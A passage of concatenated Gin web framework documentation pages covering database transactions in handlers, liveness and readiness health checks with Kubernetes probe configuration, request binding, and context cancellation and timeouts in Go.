    c.JSON(http.StatusCreated, p)
  })


  r.GET("/products/:id", func(c *gin.Context) {
    var p Product
    if err := db.First(&p, c.Param("id")).Error; err != nil {
      c.JSON(http.StatusNotFound, gin.H{"error": "product not found"})
      return
    }
    c.JSON(http.StatusOK, p)
  })


  r.Run(":8080")
}
```

## Transaction handling in request handlers

[Section titled “Transaction handling in request handlers”](#transaction-handling-in-request-handlers)

When a request needs to perform multiple writes that must succeed or fail together, use a database transaction.

### With database/sql

[Section titled “With database/sql”](#with-databasesql)

```
r.POST("/transfer", func(c *gin.Context) {
  tx, err := db.BeginTx(c.Request.Context(), nil)
  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "could not begin transaction"})
    return
  }
  // Ensure rollback runs if we return early due to an error.
  defer tx.Rollback()


  _, err = tx.ExecContext(c.Request.Context(),
    "UPDATE accounts SET balance = balance - $1 WHERE id = $2", 100, 1)
  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "debit failed"})
    return
  }


  _, err = tx.ExecContext(c.Request.Context(),
    "UPDATE accounts SET balance = balance + $1 WHERE id = $2", 100, 2)
  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "credit failed"})
    return
  }


  if err := tx.Commit(); err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "commit failed"})
    return
  }


  c.JSON(http.StatusOK, gin.H{"status": "transfer complete"})
})
```

### With GORM

[Section titled “With GORM”](#with-gorm)

```
r.POST("/transfer", func(c *gin.Context) {
  err := db.Transaction(func(tx *gorm.DB) error {
    if err := tx.Model(&Account{}).Where("id = ?", 1).
      Update("balance", gorm.Expr("balance - ?", 100)).Error; err != nil {
      return err
    }
    if err := tx.Model(&Account{}).Where("id = ?", 2).
      Update("balance", gorm.Expr("balance + ?", 100)).Error; err != nil {
      return err
    }
    return nil
  })


  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "transfer failed"})
    return
  }
  c.JSON(http.StatusOK, gin.H{"status": "transfer complete"})
})
```

GORM’s `Transaction` method handles `Begin`, `Commit`, and `Rollback` automatically based on the returned error.

## Best practices

[Section titled “Best practices”](#best-practices)

* **Initialize the database connection in `main`** and share it via closures, a struct, or middleware. Never open a new connection per request.
* **Always use parameterized queries.** Pass user input as arguments (`$1`, `?`) rather than concatenating strings. This prevents SQL injection.
* **Configure the connection pool for production.** Set `MaxOpenConns`, `MaxIdleConns`, and `ConnMaxLifetime` to values that match your database server limits and expected traffic.
* **Handle connection errors gracefully.** Call `db.Ping()` at startup to fail fast. In handlers, return meaningful HTTP status codes and avoid leaking internal error details to clients.
* **Pass the request context to queries.** Use `c.Request.Context()` so that long-running queries are cancelled when the client disconnects or a timeout fires.
* **Close `*sql.Rows` with `defer`.** Failing to close rows leaks connections back to the pool.

## See also

[Section titled “See also”](#see-also)

* [Custom HTTP configuration](/en/docs/server-config/custom-http-config/)
* [Custom Middleware](/en/docs/middleware/custom-middleware/)
* [Using middleware](/en/docs/middleware/using-middleware/)

----
url: https://gin-gonic.com/en/docs/server-config/health-check/
----

[Skip to content](#_top)

# Health Checks

Health check endpoints allow load balancers, orchestrators like Kubernetes, and monitoring systems to verify your application is running and ready to serve traffic. A typical setup includes two endpoints: **liveness** (is the process alive?) and **readiness** (is it ready to accept requests?).

## Basic health check

[Section titled “Basic health check”](#basic-health-check)

A simple health endpoint that returns 200 OK:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/healthz", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{"status": "ok"})
  })


  r.GET("/ping", func(c *gin.Context) {
    c.String(http.StatusOK, "pong")
  })


  r.Run(":8080")
}
```

## Liveness vs readiness

[Section titled “Liveness vs readiness”](#liveness-vs-readiness)

In Kubernetes and similar environments, you typically need two types of health checks:

* **Liveness probe** — checks if the application process is alive. If it fails, the container is restarted.
* **Readiness probe** — checks if the application is ready to handle traffic. If it fails, traffic is temporarily stopped but the container is not restarted.

```
package main


import (
  "database/sql"
  "net/http"
  "sync/atomic"


  "github.com/gin-gonic/gin"
  _ "github.com/lib/pq"
)


var isReady atomic.Bool


func main() {
  db, err := sql.Open("postgres", "postgres://user:pass@localhost/dbname?sslmode=disable")
  if err != nil {
    panic(err)
  }
  defer db.Close()


  r := gin.Default()


  // Liveness: is the process alive?
  r.GET("/healthz", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{"status": "alive"})
  })


  // Readiness: can we serve traffic?
  r.GET("/readyz", func(c *gin.Context) {
    if !isReady.Load() {
      c.JSON(http.StatusServiceUnavailable, gin.H{"status": "not ready"})
      return
    }


    // Check database connectivity
    if err := db.Ping(); err != nil {
      c.JSON(http.StatusServiceUnavailable, gin.H{
        "status": "not ready",
        "reason": "database unreachable",
      })
      return
    }


    c.JSON(http.StatusOK, gin.H{"status": "ready"})
  })


  // Mark as ready after initialization is complete
  isReady.Store(true)


  r.Run(":8080")
}
```

## Kubernetes configuration

[Section titled “Kubernetes configuration”](#kubernetes-configuration)

Configure probes in your Kubernetes deployment manifest:

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-gin-app
spec:
  template:
    spec:
      containers:
        - name: app
          image: my-gin-app:latest
          ports:
            - containerPort: 8080
          livenessProbe:
            httpGet:
              path: /healthz
              port: 8080
            initialDelaySeconds: 5
            periodSeconds: 10
          readinessProbe:
            httpGet:
              path: /readyz
              port: 8080
            initialDelaySeconds: 5
            periodSeconds: 5
```

## Checking multiple dependencies

[Section titled “Checking multiple dependencies”](#checking-multiple-dependencies)

For applications with multiple dependencies, check each one and report detailed status:

```
package main


import (
  "context"
  "database/sql"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/redis/go-redis/v9"
)


type HealthChecker struct {
  DB    *sql.DB
  Redis *redis.Client
}


func (h *HealthChecker) CheckHealth(c *gin.Context) {
  ctx, cancel := context.WithTimeout(c.Request.Context(), 2*time.Second)
  defer cancel()


  checks := gin.H{}
  healthy := true


  // Check database
  if err := h.DB.PingContext(ctx); err != nil {
    checks["database"] = gin.H{"status": "unhealthy", "error": err.Error()}
    healthy = false
  } else {
    checks["database"] = gin.H{"status": "healthy"}
  }


  // Check Redis
  if err := h.Redis.Ping(ctx).Err(); err != nil {
    checks["redis"] = gin.H{"status": "unhealthy", "error": err.Error()}
    healthy = false
  } else {
    checks["redis"] = gin.H{"status": "healthy"}
  }


  status := http.StatusOK
  if !healthy {
    status = http.StatusServiceUnavailable
  }


  c.JSON(status, gin.H{
    "status": map[bool]string{true: "healthy", false: "unhealthy"}[healthy],
    "checks": checks,
  })
}
```

## Testing

[Section titled “Testing”](#testing)

Terminal window

```
# Check liveness
curl -i http://localhost:8080/healthz


# Check readiness
curl -i http://localhost:8080/readyz
```

Expected output:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8


{"status":"ready"}
```

## See also

[Section titled “See also”](#see-also)

* [Graceful restart or stop](/en/docs/server-config/graceful-restart-or-stop/)
* [Deployment](/en/docs/deployment/)

----
url: https://gin-gonic.com/en/docs/binding/
----

[Skip to content](#_top)

# Binding

Gin provides a powerful binding system that parses request data into Go structs and validates it automatically. Instead of manually calling `c.PostForm()` or reading `c.Request.Body`, you define a struct with tags and let Gin do the work.

## Bind vs ShouldBind

[Section titled “Bind vs ShouldBind”](#bind-vs-shouldbind)

Gin offers two families of binding methods:

| Method                                   | On error                                         | Use when                               |
| ---------------------------------------- | ------------------------------------------------ | -------------------------------------- |
| `c.Bind`, `c.BindJSON`, etc.             | Calls `c.AbortWithError(400, err)` automatically | You want Gin to handle error responses |
| `c.ShouldBind`, `c.ShouldBindJSON`, etc. | Returns the error for you to handle              | You want custom error responses        |

In most cases, **prefer `ShouldBind`** for more control over error handling.

## Quick example

[Section titled “Quick example”](#quick-example)

```
type LoginForm struct {
  User     string `form:"user" binding:"required"`
  Password string `form:"password" binding:"required"`
}


func main() {
  router := gin.Default()


  router.POST("/login", func(c *gin.Context) {
    var form LoginForm
    // ShouldBind checks Content-Type to select a binding engine automatically
    if err := c.ShouldBind(&form); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    c.JSON(http.StatusOK, gin.H{"status": "logged in"})
  })


  router.Run(":8080")
}
```

## Supported formats

[Section titled “Supported formats”](#supported-formats)

Gin can bind data from many sources: **JSON**, **XML**, **YAML**, **TOML**, **form data** (URL-encoded and multipart), **query strings**, **URI parameters**, and **headers**. Use the appropriate struct tag (`json`, `xml`, `yaml`, `form`, `uri`, `header`) to map fields. Validation rules go in the `binding` tag and use [go-playground/validator](https://github.com/go-playground/validator) syntax.

## In this section

[Section titled “In this section”](#in-this-section)

* [**Model binding and validation**](./binding-and-validation/) – Core binding concepts and validation rules
* [**Custom validators**](./custom-validators/) – Register your own validation functions
* [**Binding query string or post data**](./bind-query-or-post/) – Bind from query strings and form bodies
* [**Bind URI**](./bind-uri/) – Bind path parameters into structs
* [**Bind header**](./bind-header/) – Bind HTTP headers into structs
* [**Default value**](./default-value/) – Set fallback values for missing fields
* [**Collection format**](./collection-format/) – Handle array query parameters
* [**Custom unmarshaler**](./custom-unmarshaler/) – Implement custom deserialization logic
* [**Bind HTML checkboxes**](./bind-html-checkboxes/) – Handle checkbox form inputs
* [**Multipart/urlencoded binding**](./multipart-urlencoded-binding/) – Bind multipart form data
* [**Custom struct tag**](./custom-struct-tag/) – Use custom struct tags for field mapping
* [**Try to bind body into different structs**](./bind-body-into-different-structs/) – Parse the request body more than once

----
url: https://gin-gonic.com/en/docs/server-config/context/
----

[Skip to content](#_top)

# Context and Cancellation

Every Gin handler receives a `*gin.Context`, which wraps Go’s standard `context.Context` along with request and response helpers. Understanding how to use the underlying context correctly is essential for building production applications that handle timeouts, cancellation, and resource cleanup properly.

## Accessing the request context

[Section titled “Accessing the request context”](#accessing-the-request-context)

The standard `context.Context` for the current request is available through `c.Request.Context()`. This is the context you should pass to any downstream call – database queries, HTTP requests, or other I/O operations.

```
package main


import (
  "log"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/data", func(c *gin.Context) {
    ctx := c.Request.Context()


    // Pass ctx to any downstream function that accepts context.Context.
    log.Println("request context deadline:", ctx.Done())


    c.JSON(http.StatusOK, gin.H{"status": "ok"})
  })


  r.Run(":8080")
}
```

## Request timeouts

[Section titled “Request timeouts”](#request-timeouts)

You can apply a timeout to individual requests using a middleware. When the timeout expires, the context is cancelled and any downstream call that respects context cancellation will return immediately.

```
package main


import (
  "context"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
)


// TimeoutMiddleware wraps each request with a context deadline.
func TimeoutMiddleware(timeout time.Duration) gin.HandlerFunc {
  return func(c *gin.Context) {
    ctx, cancel := context.WithTimeout(c.Request.Context(), timeout)
    defer cancel()


    // Replace the request with one that carries the new context.
    c.Request = c.Request.WithContext(ctx)
    c.Next()
  }
}


func main() {
  r := gin.Default()
  r.Use(TimeoutMiddleware(5 * time.Second))


  r.GET("/api/slow", func(c *gin.Context) {
    ctx := c.Request.Context()


    // Simulate work that respects the context deadline.
    select {
    case <-time.After(10 * time.Second):
      c.JSON(http.StatusOK, gin.H{"result": "done"})
    case <-ctx.Done():
      c.JSON(http.StatusGatewayTimeout, gin.H{
        "error": "request timed out",
      })
    }
  })


  r.Run(":8080")
}
```

## Passing context to database queries

[Section titled “Passing context to database queries”](#passing-context-to-database-queries)

Database drivers in Go accept a `context.Context` as the first argument. Always pass the request context so that queries are automatically cancelled if the client disconnects or the request times out.

```
package main


import (
  "database/sql"
  "net/http"


  "github.com/gin-gonic/gin"
  _ "github.com/lib/pq"
)


func main() {
  db, err := sql.Open("postgres", "postgres://localhost/mydb?sslmode=disable")
  if err != nil {
    panic(err)
  }


  r := gin.Default()


  r.GET("/api/users/:id", func(c *gin.Context) {
    ctx := c.Request.Context()
    id := c.Param("id")


    var name string
    err := db.QueryRowContext(ctx, "SELECT name FROM users WHERE id = $1", id).Scan(&name)
    if err != nil {
      c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
      return
    }


    c.JSON(http.StatusOK, gin.H{"id": id, "name": name})
  })


  r.Run(":8080")
}
```

## Passing context to outbound HTTP calls

[Section titled “Passing context to outbound HTTP calls”](#passing-context-to-outbound-http-calls)

When your handler calls external services, pass the request context so that outbound calls are cancelled together with the incoming request.

```
package main


import (
  "io"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/proxy", func(c *gin.Context) {
    ctx := c.Request.Context()


    req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://httpbin.org/delay/3", nil)
    if err != nil {
      c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
      return
    }


    resp, err := http.DefaultClient.Do(req)
    if err != nil {
      c.JSON(http.StatusBadGateway, gin.H{"error": err.Error()})
      return
    }
    defer resp.Body.Close()


    body, _ := io.ReadAll(resp.Body)
    c.Data(resp.StatusCode, resp.Header.Get("Content-Type"), body)
  })


  r.Run(":8080")
}
```

## Handling client disconnection

[Section titled “Handling client disconnection”](#handling-client-disconnection)

When a client closes the connection (e.g., navigates away or cancels a request), the request context is cancelled. You can detect this in long-running handlers to stop work early and free resources.

```
package main


import (
  "log"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/stream", func(c *gin.Context) {
    ctx := c.Request.Context()


    for i := 0; ; i++ {
      select {
      case <-ctx.Done():
        log.Println("client disconnected, stopping work")
        return
      case <-time.After(1 * time.Second):
        c.SSEvent("message", gin.H{"count": i})
        c.Writer.Flush()
      }
    }
  })


  r.Run(":8080")
}
```

## Best practices

[Section titled “Best practices”](#best-practices)

* **Always propagate the request context.** Pass `c.Request.Context()` to every function that accepts a `context.Context` – database calls, HTTP clients, gRPC calls, and any I/O operation. This ensures cancellation and timeouts propagate through the entire call chain.

* **Do not store `*gin.Context` in structs or pass it across goroutine boundaries.** `gin.Context` is tied to the HTTP request/response lifecycle and is not safe for concurrent use. Instead, extract the values you need (request context, parameters, headers) before spawning goroutines.

* **Set timeouts at the middleware level.** A timeout middleware gives you a single place to enforce deadlines across all routes, rather than duplicating timeout logic in every handler.

* **Use `context.WithValue` sparingly.** Prefer `c.Set()` and `c.Get()` within Gin handlers. Reserve `context.WithValue` for values that need to cross package boundaries through standard library interfaces.

## Common pitfalls

[Section titled “Common pitfalls”](#common-pitfalls)

### Using `gin.Context` in goroutines

[Section titled “Using gin.Context in goroutines”](#using-gincontext-in-goroutines)

`gin.Context` is reused across requests for performance. If you need to access it from a goroutine, you **must** call `c.Copy()` to create a read-only copy. Using the original `gin.Context` in a goroutine leads to data races and unpredictable behaviour.

```
package main


import (
  "log"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/async", func(c *gin.Context) {
    // WRONG: using c directly in a goroutine.
    // go func() {
    //     log.Println(c.Request.URL.Path) // data race!
    // }()


    // CORRECT: copy the context first.
    cCopy := c.Copy()
    go func() {
      time.Sleep(2 * time.Second)
      log.Printf("async work done for %s\n", cCopy.Request.URL.Path)
    }()


    c.JSON(http.StatusOK, gin.H{"status": "processing"})
  })


  r.Run(":8080")
}
```

### Ignoring context cancellation

[Section titled “Ignoring context cancellation”](#ignoring-context-cancellation)

If your handler does not check `ctx.Done()`, it will keep running even after the client has disconnected, wasting CPU and memory. Always use context-aware APIs (`QueryRowContext`, `NewRequestWithContext`, `select` on `ctx.Done()`) so work stops as soon as the context is cancelled.

### Writing the response after context cancellation

[Section titled “Writing the response after context cancellation”](#writing-the-response-after-context-cancellation)

Once a context is cancelled, avoid writing to `c.Writer`. The connection may already be closed, and writes will fail silently or panic. Check `ctx.Err()` before writing if your handler performs long-running work.

```
func handler(c *gin.Context) {
  ctx := c.Request.Context()


  result, err := doExpensiveWork(ctx)
  if err != nil {
    if ctx.Err() != nil {
      // Client is gone; do not write a response.
      return
    }
    c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
    return
  }


  c.JSON(http.StatusOK, gin.H{"result": result})
}
```